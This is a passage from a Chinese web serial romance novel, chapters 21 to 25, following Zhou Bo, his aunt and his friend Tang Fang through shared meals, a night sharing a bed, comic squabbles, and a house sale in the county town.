但看着唐放一脸正经儿的模样,他咽咽口水,好半天才开口:“……那要不,我吃粥?” 唐放看了眼周旋和自己手里的饭,最终还是打消了这个想法,周旋的饭扒拉得全是口水,看着就恶心,周勃肯定不吃。 他自己的菜吃了一半,饭也没剩多少了。 还是听医生的吧。 “不了,我们去外面吃。” 周旋擦擦额角并不存在的汗水,松了口气,连忙点头:“好。” 还好,差点啊! 21. 第 21 章 十分钟后,两人回来了。 唐放瞧见周勃那桌上的粥还剩一大半,“怎么不吃了?” “吃饱了。”周勃淡淡道,是真吃饱了,本就不饿,粥还涨肚子,是真吃不下了。 唐放挑眉,“正好还差点儿。” 他也不嫌弃周勃,端起桌上的粥倒入口中,果然别人的东西总比自己的吃起来香,唐放几大口将剩下的粥喝的一干二净。 “不浪费了。” 周勃:“……”这是真没把他当外人啊。 周旋咽咽口水,只觉得这两人关系真好。 等到俩人回去,太阳都要落山了,下车后,周勃直径儿朝自家门口走去。 走了两步,周勃回头,只见某个大型生物坦坦荡荡跟在他身后,他走快对方也走快,他走慢对方也走慢。 周勃索性停脚了,唐放跟着停脚还纳闷:“怎么不走了?” “……你家住这儿?” “没啊。” 周勃看向他,表情淡淡,目光里赫然写着我倒要看看你干什么,“你不住这儿,你跟着我?” “谁规定家不住这儿就不能往这儿走了?”唐放脸皮厚,他大摇大摆,手插裤兜:“你又不是人民币,我跟着你干什么?” 周勃:“……你最好做的跟说的那样。” 周勃算是发现了,唐放总有种让人生气的特质,他本身算是挺好说话一人儿了,但每次遇到唐放,那张嘴总能把他气个半死。 臭着脸,周勃加快脚步,等到接近大门时,周勃大跨步进了院子,反手就要关上大门。 唐放手疾眼快,一只脚锵锵抵住门缝,只是对方用力太过,脚两边传来的痛感让他脸部抽动,倒吸一口凉气,好歹没叫出声儿。 周勃反手关门没关上,下意识又拉了两遍门,还是没关上。 唐放的脸都要扭曲了,“你大爷的,还要关几遍啊!” 周勃恍然大悟,嘴角勾起,打开门:“奥,原来是你啊!你怎么不早说,我就不关门了!脚不疼吧?” 缩回脚,唐放盯着周勃脸上那关切的笑,他怎么就那么不信呢?这丫绝对是故意的! 周勃确实是故意的。 第一次关门就瞧见了唐放的脚,他没声张,故意狠狠关了两次,一半儿是之前晕倒的仇,一半儿是惩罚人嘴贱。 周勃嘴角的笑怎么都压不下,唐放越看越怀疑,最后拍板,这人绝对是故意的! 周勃笑呵呵关心:“脸没事儿吧,都怪我刚才没看见!” 唐放:“……” 周山妹走出厨房,做完饭的手在围裙上擦了两下,“周勃,谁来了?” “没谁!”周勃虚掩大门,冲着周山妹回了一句,再对唐放小声道:“走了走了!” 再不走,等着小姑留人吃饭啊!这都才在医院吃完饭呢! 唐放瞧着周勃那样儿,稍稍后退一步,笑眯眯朝着院里高声喊道:“周姨!是我!” 他的声儿刚出,周山妹高兴得眼睛眯成一条缝,“哎呀!是唐放啊!你快进来快进来!” “唉!周勃,你给人让开啊!快去给唐放搬条凳子坐,要喝水不,姨给你去倒!” 见周勃半天儿没动静,周山妹过去拍了拍他后背,“你这孩子!愣着干嘛啊!快去啊!” 她打开门,面对唐放笑眯眯道:“唉,快进来!周勃这孩子也真是的,以前没见这么没眼力见儿,昨天还得谢谢你送周勃回来!” 唐放很自然的走进院子,“姨,没什么,也就是碰巧的事儿,就算是别人我也会送的。” 周山妹越看唐放越喜欢,这人有出息,还重感情,重要的是人好啊!这才会朋友那么多。 不像周勃,到了上学时候成绩好,聊的来的朋友升学后都渐渐淡了,到了现在竟然一个能说得上话的朋友都没有! 现在好了,有了个唐放,不正好嘛! 想到这儿,周山妹看向周勃,笑着的脸一顿,“不是,不是让你去搬板凳儿嘛?怎么还不去?” 周勃亲眼见识到了自家小姑翻脸跟翻书一样快,没办法,他正要动身,唐放说话了。 “没事的姨,两步路而已,再说了堂屋坐着凉快些!”唐放本身就是属于那种招女人喜欢的长相,不管老少,这时候说话好听善解人意,更讨人喜欢了。 周山妹对唐放很是满意,听他说话,就没再看过周勃,“正好,你先去坐着,姨给你把饭端上来!特地炖的排骨!” “好嘞!” 周勃站在一旁,和那地里没爹没妈的小白菜一样,没人关心。 “你不是吃过了吗?” “对啊。” “那怎么——” “没吃饱。”唐放坦坦荡荡。 周勃一噎,心说就你在医院里吃得那些,饭加上粥,就还没吃饱,你是猪吗? 为了不让小姑担心,周勃勉强盛了碗饭,才吃得两口,胃口大开,做饭还得是小姑。 两人你一筷子我一筷子,将整桌菜一扫而空。 周山妹笑得合不拢嘴,“有这么好吃吗?” 唐放很给面子,竖起一个大拇指。 “还得是小姑你的手艺,”周勃也是赞不绝口。 周山妹选择性忽视了周勃的话,问唐放:“还要吃不?我再给你煮点面条!” “不了,吃饱了。” 周山妹去收拾碗筷,就剩唐放和周勃在堂屋,吃饱喝足,俩人都没动弹。 过了会儿,周勃开始劝客:“吃也吃了,休息也休息了,该走了吧!” 唐放暼他一眼,没说话。 得,周勃不说话了,继续忍。 又过了会儿,周勃脚尖踢踢唐放的小腿,扬扬下巴:“大少爷,该走了,再不走天晚了小心蚊子咬死你。” “这么着急干嘛?”唐放懒散的扫他一眼,“又不是不走。” 说实在的,他还挺享受在周勃家的感觉,不像他家,永远只有陈牧德那小子时不时过来寒颤他一下,空荡荡的房间里也只有那电视机和洗衣机时不时响动一下,没劲儿。 要让陈牧德知道唐放这样想,铁定啐一口过去,md,就是矫情儿! 是电视机不香,还是洗衣机让你难受了? 唐放又看了眼周勃,那张洁白的脸,好像不管从什么角度看都帅得让人移不开眼。 特别是那嘴角一勾,勾得人心痒痒。 周勃等了好一会儿,没见唐放有动作,终于开始怀疑了:“你不会今晚上不回去了吧!” “我可提前告诉你啊,我家没地方让你睡!” 周山妹这时候刚好从厨房出来,“别听他瞎说!唐放,你今晚上就在这儿睡吧!有床!” 唐放笑眯眯:“好嘞!谢谢周姨!” “这有什么谢的!把这儿当自己家来!” 周勃赶忙把周山妹拉到一旁,满脸严肃:“小姑,你瞎说什么呢?!我们家哪儿还有多余的 () { $(''.inform'').remove(); $(''#content'').append('' 床给他睡!” “你俩睡一张床不就得了,那么大的床,还装不下你们两个大男人了?” 周勃:“……我不喜欢和别人睡。” “那你当初怎么和李丽华睡的?”周山妹横他一眼。 “那不一样。” “有什么不一样,”周山妹不耐烦了,“别磨磨唧唧,再多说话,睡你那竹床去!” “人唐放多好啊!昨天还把你送回来,今儿我特地请人家来吃饭的!别没个眼力见儿!” 周勃不说话了,自觉已经改变不了小姑的想法,不用再做无用功。 他只能拉住唐放,“你大爷的,你今天要是不洗澡,别睡我床上。” 唐放目的达到,自然是周勃说什么是什么,“洗澡间在哪儿?” 周勃:“那边儿。” …… “嗒!”的一声,门被关上。 周勃的床很快迎来了第三位客人。 唐放浑身水汽躺在周勃另一边儿,屋内的风扇咔吃咔吃转动,试图用矮小的身子扫遍整张大床,可惜始终有吹不到的地方。 风更是只吹到了唐放的脚。 唐放坐起身,将风扇摆弄好,观察到风能把两人罩住又躺了回去。 “关灯,睡觉。”周勃手拉灯,昏黄的灯光瞬间熄灭,房间里只剩下风扇转动的声儿。 灯灭了,周勃却睡不着,试想一下,你身边躺着个浑身冒热气儿的男人,你能睡着不?男人本就属于夏热冬热的生物,俩凑一块,这不更热了吗? 周勃很是烦躁,语气平静:“你睡了吗?” “没。” “……” 唐放躺在床上倒没觉着热,只是心情有点儿说不出的怪,觉着后背的床铺异常的柔软,躺得人酥酥麻麻的,他开口:“这是你和李丽华结婚时候买的婚床?” 周勃睁着眼睛看着漆黑的天花板,没明白唐放问这个是干嘛,“嗯。” 唐放:“……挺软的,你还真舍得,多少钱买的?” 周勃忍不住转过头,他虽然看不到唐放的脸,总觉得这人说话咋那么奇怪呢? “怎么?你也要去买一个?”他淡淡道。 唐放手枕在头下,“没,只是在想李丽华还挺有脾气,这么软的床说不要就不要了。” 周勃嘴角抽抽,“这不刚好便宜你嘛。” “也是。” 周勃无话可说。 漆黑的房间中,一声儿清脆的绷带声儿响起,原本迷迷糊糊就要睡着的周勃清醒了一瞬,就在他即将又要陷入睡眠之时,他想起了一个不曾被他注意的事儿。 周勃拉灯,昏黄的灯光亮起,连着人跟着坐起身。 他目光灼灼的盯着唐放穿的裤衩,嘴唇颤抖,“md,你身上穿的谁的?” 唐放此时还没睡,闻言挑挑眉,“周姨给拿的,有点小,咋了?” 怪不得周勃有点眼熟,他在家里没放多少东西,总想着把人接到海城去,这几天在家两条内裤轮着穿,因着不够用,回来的时候特地带了条新的。 没想到今天栽到了这家伙手里。 那是他前两天刚洗的内裤! 周勃气得手都在抖,上手就开始扒,“艹,你给我脱下来!” “唉!不是!干嘛这么小气!我都没嫌弃你裤衩小!” 唐放赶紧捂住自己,两人开始了裤衩争夺战,你一手扒拉,我一手防备,扭打在一起,不亦乐乎。 23-30 第23章 第 23 章 两个人打打闹闹回到村子。 桑塔纳里放着的两大塑料袋硬是被唐放生生拎到了周勃家, 送人的东西,怎么拿回去呢? 周勃差点将那俩黑色塑料袋砸他头上,好歹忍住了,因为小姑过来了。 别管这东西是啥, 人送你, 那就是份心意! 周山妹笑得像朵菊|花, 一手提一个塑料袋, “这买的什么啊, 这么多!这得花不少钱吧!” 唐放笑着摆摆手,先是看了周勃一眼,然后再看他一眼, 见他始终沉默, 这才开口:“没花多少钱周姨,这不是昨儿穿了周勃的裤衩嘛, 今儿个路过市场,就多买了点回来送给他!” “哎哟!这哪是多买了点啊!唐放啊, 你这是把人店里的都给搬空了吧!”周山妹吃惊, 随后就是心里特暖, 你瞧瞧这孩子,一条内|裤而已, 穿就穿了, 这还心里过意不去, 特地买了这么多送回来! 有句话怎么说?滴水之恩涌泉相报! 这孩子,能处! 唐放心说, 他这哪是搬了一个店啊!他这是搬了一个市场! 人店里又不是只卖一个尺寸, 还得他一家一家的跑! 周勃要知道了,不得指着他的鼻子破口大骂, 个孙子!陈牧德说你给人姑娘系鞋带都不肯,这下子为了玩儿他还苦巴巴去跑市场! 反正周勃现在是没什么好脸给到他,他那脸臭得,像是周山妹手里拿着的不是裤衩,而是坨屎! 唐放此人,那就是屎的搬运工! 简称:屎壳郎! 周山妹对唐放是越来越满意,“也难为你了,正好周勃这不是没穿的了吗!整天就那两条裤衩子穿来穿去,也不嫌烦。” 此话一出,两个人都懵了。 唐放心中对周勃昨晚上的气恍然大悟。 周勃则是,原来小姑你知道啊!你知道还把我那条刚洗的给人穿了!那可是新的! 唐放嘴角却是压都压不住,心中直乐,感情这人,天天晚上都回家洗内|裤啊!那要是哪天没洗,岂不是第二天就得光着屁|股蛋了? 谁能想到,这面儿上淡定的人,私底下竟然不穿内|裤!这么风|骚! 脑海中有画面了,唐放努力憋着笑,凑到周勃身旁,用手拍拍肩膀以示安慰。 他一双丹凤眼眸光流转,里头净是揶揄,“你老实告诉我,你喝醉酒那天——”是不是连夜起来洗了裤衩。 “嘶——” 唐放面色扭曲,脚趾上传来的压迫感太过强烈,以至于他一句完整的话都没说出来。 “别看是裤衩子,这用料都实在,比哪些个买的衣服料子都好,”周山妹用手感受着裤衩的质感十分感叹,抬起头,“唉!唐放你咋了?唉哟!你这孩子,想上厕所你就直说嘛!院里旁边就是!” “没事儿姨,就是刚才有点,现在没了。”唐放痛的脸部抽抽,手掌拍在周勃后背,边说边用力拍。 意思很明显,让他收脚。 他不知道,这手一拍,刚好拍到周勃后背的伤,他小姑那棍子打的,后背的青紫平常碰不到自然不痛,现在被唐放一拍,可算是找对角度了! 周勃倒吸一口冷气,痛的下意识脚上用力,唐放的脚趾遭受更大压迫。 唐放拍的手更用力了。 死循环,带来的后果就是周勃气得差点整个人站唐放脚上。 主打一个,以牙还牙。 你让我不好过,我也让你不好过! 最后还得是周山妹给发现了,制止了周勃的行为,对着唐放道:“抱歉啊唐放,你看看这孩子!太不懂事了。” 说着,周山妹就要抬手朝周勃手膀子上来一下,用以安抚唐放的心。 唐放正蹲着揉脚呢,见状赶忙阻止,“唉!姨,没事儿,我们闹着玩儿的!” 听他这样说,周山妹这才住手,赔着唐放笑脸,俩人又说了几句话,完事儿了周山妹动手把俩塑料袋拎进去。 没了周山妹,唐放将目光放在周勃身上,心想着,要不是我,你指定得挨你姑一顿打,还不得感谢我! 结果,这一看不要紧,看了唐放眉头一皱。 他也没用多大力啊,这人怎么看着脸色发白,汗流的这么多? 唐放想到了什么,面色一变,上前就要掀周勃后背的衣服,“我看看!” “啪!” 周勃躲开唐放的手,气得牙都在抖,“滚!” 手背一片通红,唐放这时候也有点气了,你说说你,你早说你后背有伤啊!他不就拍其他地方了吗? 这下好了,知道疼了! 唐放瞅着周勃那倔样儿,气不打一处来,又看着他额角的汗水,心下不由得一软,算了算了,人后背有伤你还给拍上去,你这不是欠儿吗? 你说人好端端的,长这么大力气干嘛! 唐放凑到周勃身旁,轻声道:“别闹了,给我看看!我就看看,你后背是不是有伤。” 周勃一言不发。 得,这人还气呢! 唐放急得也不管什么了,拍拍自己脸颊,“都怪我!你说我怎么这么欠儿呢?非得打你后背,我真该死!” 见他面无表情,唐放目露犹豫,那只带着纹身的左手伸到他面前,“这样好了,我也不欠你,你要真气,就狠狠咬一口,咱们两清,我绝对不吭声,谁吭声儿谁是孙子!” 之前还是后背火辣辣的疼,周勃烦躁的不想搭理他,听着唐放说这话,他真给气笑了,“给我滚,真当我是女人!” “别把你哄女人那套用我身上!” 唐放一愣,他什么时候哄过女人?他躲还来不及,人让他逛街拎东西他都觉着烦,更别说哄人了! 不过见他笑了,唐放心里估摸着应该是不怎么气了,他强行上手,掀开周勃后背的衣服,周勃拦都拦不住。 “我艹,给我滚开!” “别闹!我看看!” 条状的青紫乍然出现在眼前,在洁白的背部十分显眼,唐放沉默了。 “谁做的?”唐放咬着牙,小心的碰了碰周勃后背的伤,语气中带着心疼。 “疼不疼?” 周勃忍不住抽抽嘴角,拍开唐放的手,没好气:“你说呢?” 他整理好衣服,转过身,看着唐放的模样惊了下,他后背的伤有那么吓人吗?都给人看得眼睛都红了。 “……你没事儿吧?”这下换周勃关心他了。 唐放盯着他,“这谁干的?” 周勃觉着后背都没唐放带给他的牙疼,“你问这干嘛?” “你说干嘛?就这么个伤,不把人腿打折怎么抵得了?”唐放说这话,戾气显露而出,他本身也不是什么善茬,不然怎么会认识陈浪? 周勃后背不疼了,他脸麻了,心说不用你打折,我小姑她腿早就瘸了,心中还有点感动,怎么说呢,他小姑从小对他的教育都是所谓的棍棒教育。 他知道小姑对他好,但老一辈的人好像都是那样,他们对爱的述说腼腆而小心,似乎不夹枪带棒都说不出个爱字。 这还是周勃第一次感受到这么明显的关心。 心情好了些,沉默片刻,周勃道:“这你就别管了。” 唐放怎么可能不管,他看着周勃背上那上,感觉都和打自己身上似的。 不对,还不如打他身上! 至少他皮糙肉厚,个大老爷们,扛一扛就过去了! “你说,到底是谁干的!” “你别管了!” “我怎么可能不管!” …… 周勃被唐放这不依不饶的架势弄得头疼,这人就跟复读机似的,非要把人给揪出来,那架势,怕是真要跟人打一架才罢休。 没办法,此时周山妹放好了塑料袋,正巧走出大门。 周勃烦躁的用手指了指自己小姑,“喏,是她,你敢打吗?” 唐放顺着手指方向看过去,“有什么不敢……打。” 沉默是今晚的康桥。 不敢打,这是真不敢打,周勃脸上那神色就像在说,你敢打一个试试。 唐放:“……” 良久,久到周山妹再次进了院子,唐放终于开口了,“那也不能下手这么重啊!” “这是家|暴,”唐放咬着牙。 周勃赏了他两眼:“那你去报警,你看看警察管不管。” 老子打儿子天经地义,他小姑打他,也没毛病,人自己都不在乎,唐放自己在乎有个屁用! 心里还是气,唐放皱了皱眉:“不行,我得去和咱小姑说说。” 周勃:“……” 见人真有走进院子的打算,周勃此时觉着唐放事儿怎么这么多,要真和小姑说了,又是一连串儿的事儿。 烦得很,他一脚踹在人紧俏的屁|股上。 “说什么说,你赶紧回去吧!” 趁着人还没爬起来,周勃飞快窜进院子,从里面把门反锁。 唐放一下蒙圈:“……”这人,这人怎么这样儿啊!这也太无情了些! 郁闷的回到家,唐放坐在躺椅上,从裤兜里摸出打火机和烟盒,开始吞云吐雾。 坐了会儿,越想越气,唐放将烟摁灭,用座机给王伟杰那边打过去电话。 王伟杰等人接到电话也是一惊,这是老天爷赏脸了?放哥这么个“大忙人”也舍得给他们打电话了? “放哥,你这是咋了?今天怎么有心情给打电话啊?” 唐放皱眉说:“怎么,没事儿就不能给你们打电话了?” 王伟杰:“……”关键你没事也没给我们打过电话啊! “之前不是说过半个月才过来吗,现在行程有变,我过两天过来。” “咋突然就变了?”王伟杰不解。 唐放:“……问这么多干什么,给你说了,别到时候说我来得晚突然。” “哪能啊!放哥,你可不知道,我们天天盼着你过来呢!”王伟杰说着,冲着不远处的人喊道,“喂!放哥说他过两天就来!记得把东西准备好!” “什么东西?” “没什么东西!听错了,那就这样啊,放哥我们还有事儿,先挂了挂了!” 唐放听着电话里头嘟嘟嘟的忙音,这小子,平常怎么没见挂这么快啊? 他都还没来得及说陈牧德也跟着过来的事儿。 这两人到时候可别打架。 一挂电话,又想到刚才踢他的周勃,唐放觉着自己的关心他的心都喂了狗,很是不得劲儿。 但他和周勃相处这些天,学会了用另外的角度想这事儿。 有时候就算你喂狗喂多了,狗不也照样朝你叫嘛? 兴许周勃就是那种狗,有个性。 要知道,喂个东西就摇尾巴的狗,嘿!他还不稀罕呢! 第24章 第 24 章 定了过两天走的事儿, 那陈浪的那房子一定是要办理过户的,陈浪没买到票,只能买几天后的票,时间上正好能赶上。 周勃给周山妹说了自己买房这事儿, 包括前因后果, 以及自己的打算。 如果小姑实在不肯和他去海城的话, 县里这套房正好能留给她住, 也不用到了县里还得搭车回家。 周山妹对此十分抗拒, “我就一个人,那用住这么大房子!再说了,县里头我一个人都不认识, 住过去干什么!” 周勃无奈的解释:“小姑, 不是让你直接住那儿,我的意思是, 你要是在县里晚上没车了,可以在县里有个落脚的地方!” “县里都有车, 那些公交, 是天天开的, 怎么可能回不去?要我说,那县里的房子, 买了就买了, 正好租出去!”周山妹说。 “这样, 你在海城也能有点钱!” 周勃看不上那点租房子的钱,见周山妹实在拒绝, 他顿了顿, “这样吧,到时候房子租出去, 你就去收租,有什么想买的就买了,别舍不得花钱。” “钱挣那么多,不就是拿来花的吗?” 周勃笑笑:“指不定,你花多了,你就会发现,钱越花越多。” “……你可别做违法的事儿啊!”周山妹说,“还钱越花越多,你要做违法的事儿,让我知道了,我第一个去警察局举报你!” 周勃:“……”你可真是我的好姑姑。 她话虽这么说,周勃知道她是关心自己,“放心吧,你可不知道,现在炒股有多火,那些海城的大老板哪个不炒股?” “只要你会炒,花的钱越多,赚的也越多!”周勃简单解释。 周山妹似懂非懂,她不懂什么炒股,自觉那是年轻人的事儿,但只要不犯法,这都能接受。 “那你炒股不?”周山妹眼睛盯着周勃。 “我啊,”周勃摸摸鼻子,“我不炒,风险太大了。” 现在关于股市的法律都还没完善,他哪敢炒,也不怕炒的倾家荡产,这种钱虽说来得快,但没必要。 周山妹了然的点点头,“这种有风险的东西,别碰!一个不小心陷进去,那是拔都拔不出来!” 周勃失笑,这炒股是炒股,怎么听着像是传销似的,但为了不让小姑担心,他还是好好答应了。 花了一天时间,周勃先是跑了房地产交易中心,问清楚了过户所需要的资料后,找他们要了份购房合同,仔细检查没发现明显漏洞后,这才和陈浪签订合同。 这种和钱扯上关系的事儿,还是越清楚越好。 两边都确定没问题后,周勃带着陈浪去了房地产交易中心。 至于陈浪的女儿,交给跟着来的唐放带,陈浪很是放心。 小姑娘坐在唐放的臂膀中,脑袋埋在他胸口,小孩子,对于美丑有着最直观的感受,很显然,她十分喜欢唐放。 脸上的笑都没拉下来过,时不时抬头看眼唐放的脸露出小米牙,再埋脑袋,很是害羞的模样。 唐放脑袋往后缩,他眼睛清清楚楚的看见这萝卜头脸上那快要流到嘴巴里的鼻涕。 好歹是她是知道要擦的,黏糊糊的鼻涕就这样被她脑袋蹭到了唐放的背心上。 唐放:“……” 这鼻涕原本是该抹在陈牧德身上的,但没办法,陈牧德这两天忙着给周佳佳新房装修,没时间过来。 于是只能让唐放来了。 “珍珍,爸爸走了,你和唐放叔叔玩一会儿,爸爸等会儿就回来!”陈浪恋恋不舍的摸摸女儿的头发。 萝卜头一点不舍都没,大眼睛看着自家爹,还冲他摆摆手。 陈浪看了眼唐放那面无表情的脸,咬牙,不就是长得帅点吗?连小孩子都不放过! “珍珍啊,要记住,越帅的男人,越会骗人!”陈浪用一种劝导的语气道。 周勃差点一口水喷出来,看向小萝卜头,她正眨巴着眼睛,果然是没听懂的样子。 这么早教,是不是太早了。 这哥怕不是倚天屠龙记看多了? 唐放嘴角抽抽,“滚滚滚,你俩赶紧走,别站着了,我又不会把你女儿吃了!” “那珍珍,爸爸等会儿就回来,你自己好好的,一定要和唐放叔叔好好相处啊!”陈浪走之前还是依依不舍。 要不是妻子的精力实在不足以支撑她照顾孩子,陈浪是真不想把女儿交给别人。 房产过户交易得很是顺利,两人证件都齐全。 最终,周勃得到了张崭新的房产证,陈浪也多了20万的收入。 生活了这么久的屋子,终于要卖出去,陈浪心中感慨万千,“那房子之前角落的地方塌了,后来我修补过,你们要真的住进去,一定记得再好好看看。” 周勃点头,“行。” “那回去吧。” “嗯。” …… 李莲花坐在院子里,看到陈浪回来,笑道:“办完了?” 多了笔钱,陈浪心头轻松不少,也笑着回答:“办好了,我们后天的票,直接去首都!” 李莲花:“好。” “对了,珍珍呢?”陈浪一回来到处找女儿的踪影。 李莲花笑得轻柔,“在里面和唐放玩呢!” 陈浪大步朝里面走,周勃也跟进去。 一进里面,周勃刚看到唐放,开始剧烈咳嗽,“咳咳咳……” 这还是唐放吗? 原本放荡不羁的头发此刻老老实实被扎成几个小揪揪,脸上不知道是什么东西画的,左右脸各有两个大红色的红晕,还有那眼睛,原本就是好看的丹凤眼,此刻跟上了眼影似的,死亡红色。 以前看人斜着,有种轻狂的调调,现在看人斜着,这是眼睛抽筋儿了吧。 陈浪也差点没认出来这是唐放。 “……这?” 唐放背部弓出生无可恋的弧度,天知道这几个小时他经历了什么? 这小屁孩,年纪不大,脾气挺大,一言不合就掉小珍珠,对着他是一点不怕,反倒是他,打又打不得,骂又骂不了,只能任人摆布了。 “想笑就笑吧。” 周勃是毫不犹豫就笑出了声儿,“哈哈哈哈哈……”可恨吧,没手机,这都是以后甩他脸上的素材啊! 陈浪倒是脸绷住了,能看出他是想笑的,嘴角花了好大力气才压下去,走过去将萝卜头抱起,“珍珍,干什么呢!看你给叔叔脸上弄得!” “该去睡觉了!” 陈浪说着,不顾萝卜头反对,径直把女儿抱起,朝外边走去。 周勃和唐放还能听到他那满是笑意的声音从院子里传进来。 “老婆!你看到唐放的脸了没?真是笑死我了,脸上一阵一阵的红哈哈哈哈……咱女儿以后一定是个画家!这太有才了哈哈哈哈哈……” 唐放:“……” 周勃笑眯眯盯着他的脸,“挺不错啊,这色彩,以后他女儿要真成了画家,一定有你的一份功劳。” “哼。” 唐放撇了周勃一眼,他还没忘记周勃给他的一脚之仇呢!听他的揶揄,心中很是不爽。 咋就有人,刚给了一鞭子,大白天就能把人拉出来干活? 没错,周勃和陈浪出去开的车都是唐放的。 桑塔纳手感不错,周勃如愿以偿开上路,此时回来心情也不错。 至于之前那一脚,那不是闹着玩儿吗?他早给忘了! 唐放没忘,冷笑两声:“还是不如你,脚上功夫好,要再练下,放古代宫里怎么也是个老道的师傅了。” 周勃听着这话夹枪带棒的,他也不是蠢蛋,回想了下就知道是怎么回事儿,他挑挑眉,笑道:“那不行,现在这手法都不用人身上了,那是犯法,得用在猪身上。” 唐放:“……” “不是,你就不能说两句好话?”唐放十分纳闷,“你对着我特膈应是吧!” 唐放早上被他叫出来,心头有事儿,还是没表露出来,正事儿更重要。 现在被个小姑娘在脸上写写画画,本就心情有点差,周勃还这么开玩笑,他眉头的川字都要夹死个蚊子。 唐放这人儿,除了有时候嘴贱,做事儿还是挺靠谱,周勃说实话,他心头是记着这份情的。 虽说有时候说说屁话,但周勃还是拿他当朋友。 看出他心情不好,周勃想了想,他索性伸出手臂,“来,跟你学的,你要实在气,给你咬一口,咱俩两清。” 唐放:“……” 伸到面前的那节手臂整天闷在衣袖里,实在是洁白,唐放觉着自己要真咬一口,那就是把这整条手臂给破坏了。 他没说什么哄姑娘的话,笑话,这都还是周勃第一次哄他! 唐放觉着,不咬不行,他咬牙:“这可是你说的!”他直接张口,嘴唇狠狠在那紧致又弹性的手臂上摁了下,没伸牙,倒是留了点口水。 嘴唇刚碰上去,温热的触感混合着人的体温,差点烫得唐放一个哆嗦,只能狠狠将唇印在他手臂上。 但看着周勃手臂上那残留的水渍,不知怎的,唐放有点口渴,酥麻感细细丝丝从唇向大脑蔓延,他舔|舔嘴唇,看向别处。 “两清了。” 周勃都做好了被他狠狠咬一口的准备了,结果完了,就这? 他看向唐放,这人,这时候看着真是异常喜感,那扭过去的头不看脑袋,从脖子往下都是电视剧里型男的模样,身材好得让人流口水,但脖子往上,不能看。 乱七八糟的头发,红色打底,五颜六色的脸,真真像是从那个马戏团出来的。 看着,就让人想笑。 周勃忍不住笑弯了眼,倒是没发出笑声了,语气里满是笑意:“这就好了?” “奥!”那酥麻感像是在唐放脑中过电似的,让他对周勃的声音异常敏|感,只觉着周勃怎么听不懂话呢? 没听他说两清了吗?唐放转过头—— 周勃笑了会儿,好歹稳住,就见唐放一双眼睛紧紧盯着自己,那双眼睛黑得可怕,像是看到了什么让他惊艳的东西,怔怔的。 周勃手在他面前晃了晃,他眉眼上挑:“咋了?” “……” 唐放猛得躺倒地板,过了半响,他又猛得坐起身。 犹如诈尸。 过了良久,周勃听到唐放说出句十分傻|逼的话。 “你以后别笑了,笑得人心脏疼。” 第25章 第 25 章 周勃确定要走了, 他还是想小姑跟着他去海城。 小姑十分倔强,说什么都不肯,周勃其实知道她在害怕什么。 海城是个陌生城市,小姑一辈子没出过县城, 走过最远的路, 就是曾经背着他去县城的路。 那天的雨又大, 她硬生生咬着牙把他送到了医院, 小姑总说这是她这辈子做过最正确的事, 但这个正确的事换来的结果是她的一生毁了,她成了跛子,成了村里唯一一个被退婚的女人。 何其可笑, 她走过最远的路那天, 是她成为跛子的那天,她做正确的事, 老天却要惩罚她。 家里没有男人,她把自己分成两半, 一半当女人用, 一半当男人用。 从一个待嫁的少女, 逐渐学会了和男人较劲儿,学会了撒泼打滚, 用语言武装自己。 在村里, 她就像个霸王, 牢牢守护住自己的领地,就算是跛子也能绕着走上三圈。 但, 海城, 太大了。 小姑,走不过来的, 陌生的环境,让她感觉畏惧,她的一生所有的价值都成长在村里,村子就像是一个圈,把她这朵花死死的摁在圈里。 上辈子,周勃也让小姑跟他去过海城,她不肯,本以为是她害怕成为自己的负担,他努力攒钱,买房。 最后李丽华都过去了,她却还是缩在村里。 因为村里,是她的地盘,她安心。 要说她有多在乎村里的朋友,那到没有,村里的姐妹各自都有孩子,整天的事围绕着家长里短还有老公,哪有那么多闲着的凑在一起,就算在一起,话题也不一样了。 他是她这么多年的包袱,让她一直负重前行,到了现在,也时候该让他抗起她这个包袱了。 周勃也不想再看到,回村后,家里窜出来几个拿着零食的孩子。 他们几乎天天都会去他家,因为小姑总会在他们去的时候拿零食,贪恋着零食的味儿,家里多了人烟味儿。 周勃不敢去深思这背后的含义。 “小姑,等我在海城买了房,你就过来吧。” 周山妹此时正仔细的踏着缝纫机,闻言一顿,“你说这个干嘛?你这才在县城买了房子,哪有那么多钱又在海城买啊!” “我看他们好些人都是福利房,单位分的,没必要在海城买!还贵!好好把钱攒起来,后边儿好娶媳妇儿!” 周勃:“……小姑,我这才离婚。” “不对,你从谁那儿听的,现在好多人都下岗了,都在找工作,谁家还分得有房,就算有也太少了!” 周山妹吃惊,她常年在村里,对这些个事儿,都不太清楚,“下岗?怎么下岗了?” 周勃好笑,觉着她的关注点有点偏:“你管人家怎么下岗的,海城那边现在的房子好买,到时候等我买了房子,你就过去吧,我们一起在海城生活。” “……等你先买了房再说吧。”周山妹没把周勃的话当回事儿,这才出去一套房,哪来儿那么多钱再买房。 “那就这么说好了啊,”周勃笑眯眯:“小姑你到时候可不能再反悔。” “好好好。”周山妹满嘴敷衍,手上动作不停。 周勃可不管,他就当对方答应了。 想了想,周勃又说:“小姑,我们今年地里是不是种得有苞米?” “有啊,咋了?” “下个月估计就要熟了吧。” 周山妹说:“差不多。” “到时候我回来帮你掰苞米吧。” “哪儿要你回来哦,车票不是钱啊!不用你回来,之前都是我掰的,还差你不成!你就好好赚钱,以后好找媳妇儿!”周山妹头也没抬。 “就当是回来休假了,我个当老板的,怎么,还不能休息两天!”周勃挑眉,他是打算过去后直接买套房的,回来也不过是接小姑过去。 周山妹听到周勃这话,总算是笑了,她抬头,“哟,你个当老板的还得意上了。” 周勃笑眯眯的不说话。 过了一个小时,周山妹终于抬起头,她从缝纫桌上把缝好的衣服拿起来,看着很是满意。 “周勃,快!你拿去试试,看看合不合身。” 周山妹手上的是件外套,不知道是用什么布做的,摸起来手感不错,颜色呈块状分布,这时候流行一些宽松的衣服,外套倒是挺宽松,颜色分布很是超前。 周山妹缝纫机踩的熟练,周勃以前的那些衣服全是她做的,穿着这件儿也舒适。 “挺好的。” 周勃平常穿的都是比较商务些的衣服,像这种宽松的外套套在他身上,倒是增加了不少活力,更年轻了。 周山妹看着也觉着不错,“那我再给你做两件,到时候你带去海城穿。” “好。”周勃把身上的外套脱下来。 他将衣服递给周山妹,眼睛往旁边一瞟,不动了。 靠着缝纫机的角落,一个熟悉的黑色塑料袋立在那儿,不同于之前的鼓鼓囊囊,此刻它的体积缩小了不少。 这时候,一只手伸进去,从里边抓出一把裤衩子,啥颜色的都有,他刚才穿的那外套还行,各种颜色看着挺有设计感。 但这把抓出来的都是个啥,还有豹纹! 周勃眼角抽抽:“……小姑,这外套,你那什么给我做的?” 